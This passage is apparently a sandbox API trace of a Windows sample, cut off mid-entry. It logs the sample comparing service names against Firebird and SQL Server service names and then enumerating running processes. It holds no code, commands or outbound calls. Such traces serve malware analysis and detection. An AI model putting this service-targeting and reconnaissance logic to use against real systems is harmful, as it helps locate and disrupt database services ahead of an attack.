[0106.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0106.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0106.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0106.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0106.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0106.779] lstrlenW (lpString="netprofm") returned 8 [0106.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0106.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0106.779] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0106.779] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0106.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0106.779] lstrlenW (lpString="NlaSvc") returned 6 [0106.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0106.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0106.780] lstrlenW (lpString="nsi") returned 3 [0106.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0106.780] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0106.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0106.780] lstrlenW (lpString="PcaSvc") returned 6 [0106.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0106.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0106.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0106.780] lstrlenW (lpString="PlugPlay") returned 8 [0106.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0106.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0106.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0106.780] lstrlenW (lpString="Power") returned 5 [0106.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0106.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0106.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0106.780] lstrlenW (lpString="ProfSvc") returned 7 [0106.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0106.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0106.780] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0106.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0106.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0106.781] lstrlenW (lpString="RpcEptMapper") returned 12 [0106.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0106.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0106.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0106.781] lstrlenW (lpString="RpcSs") returned 5 [0106.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0106.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0106.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0106.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0106.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0106.781] lstrlenW (lpString="SamSs") returned 5 [0106.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0106.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0106.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0106.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0106.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0106.781] lstrlenW (lpString="Schedule") returned 8 [0106.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0106.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0106.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0106.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0106.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0106.782] lstrlenW (lpString="SecurityHealthService") returned 21 [0106.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0106.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0106.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0106.782] lstrlenW (lpString="SENS") returned 4 [0106.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0106.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0106.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0106.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0106.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0106.782] lstrlenW (lpString="ShellHWDetection") returned 16 [0106.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.782] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0106.782] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0106.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0106.782] lstrlenW (lpString="Spooler") returned 7 [0106.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0106.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0106.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0106.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0106.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0106.782] lstrlenW (lpString="sppsvc") returned 6 [0106.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0106.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0106.783] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0106.783] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0106.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0106.783] lstrlenW (lpString="SSDPSRV") returned 7 [0106.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.783] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0106.783] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0106.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0106.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0106.787] Process32FirstW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.788] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.788] lstrlenW (lpString="System") returned 6 [0106.789] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.789] lstrlenW (lpString="smss.exe") returned 8 [0106.789] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.790] lstrlenW (lpString="csrss.exe") returned 9 [0106.790] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.791] lstrlenW (lpString="wininit.exe") returned 11 [0106.791] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.791] lstrlenW (lpString="csrss.exe") returned 9 [0106.791] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.792] lstrlenW (lpString="winlogon.exe") returned 12 [0106.792] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.793] lstrlenW (lpString="services.exe") returned 12 [0106.793] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.793] lstrlenW (lpString="lsass.exe") returned 9 [0106.793] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.794] lstrlenW (lpString="svchost.exe") returned 11 [0106.794] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.795] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.795] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.796] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.796] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.796] lstrlenW (lpString="svchost.exe") returned 11 [0106.796] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.797] lstrlenW (lpString="dwm.exe") returned 7 [0106.797] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.798] lstrlenW (lpString="svchost.exe") returned 11 [0106.798] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.799] lstrlenW (lpString="svchost.exe") returned 11 [0106.799] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.799] lstrlenW (lpString="svchost.exe") returned 11 [0106.799] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.800] lstrlenW (lpString="svchost.exe") returned 11 [0106.800] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.801] lstrlenW (lpString="svchost.exe") returned 11 [0106.801] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.802] lstrlenW (lpString="svchost.exe") returned 11 [0106.802] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.802] lstrlenW (lpString="svchost.exe") returned 11 [0106.802] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.803] lstrlenW (lpString="svchost.exe") returned 11 [0106.803] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.804] lstrlenW (lpString="svchost.exe") returned 11 [0106.804] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.804] lstrlenW (lpString="spoolsv.exe") returned 11 [0106.804] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.805] lstrlenW (lpString="svchost.exe") returned 11 [0106.805] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.806] lstrlenW (lpString="svchost.exe") returned 11 [0106.806] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.806] lstrlenW (lpString="audiodg.exe") returned 11 [0106.807] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.807] lstrlenW (lpString="sihost.exe") returned 10 [0106.807] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.808] lstrlenW (lpString="svchost.exe") returned 11 [0106.808] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.809] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.809] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0106.809] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0106.809] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0106.810] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0106.810] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.811] lstrlenW (lpString="explorer.exe") returned 12 [0106.811] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0106.811] lstrlenW (lpString="Memory Compression") returned 18 [0106.811] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.812] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0106.812] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.815] lstrlenW (lpString="SearchUI.exe") returned 12 [0106.815] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.816] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0106.816] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.817] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.817] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.818] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0106.818] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.818] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0106.818] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.819] lstrlenW (lpString="conhost.exe") returned 11 [0106.819] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0106.820] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0106.820] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0106.820] lstrlenW (lpString="upper arc.exe") returned 13 [0106.820] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0106.821] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0106.821] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0106.822] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0106.822] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0106.823] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0106.823] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0106.823] lstrlenW (lpString="blademcdonald.exe") returned 17 [0106.823] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0106.824] lstrlenW (lpString="courage.exe") returned 11 [0106.824] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, 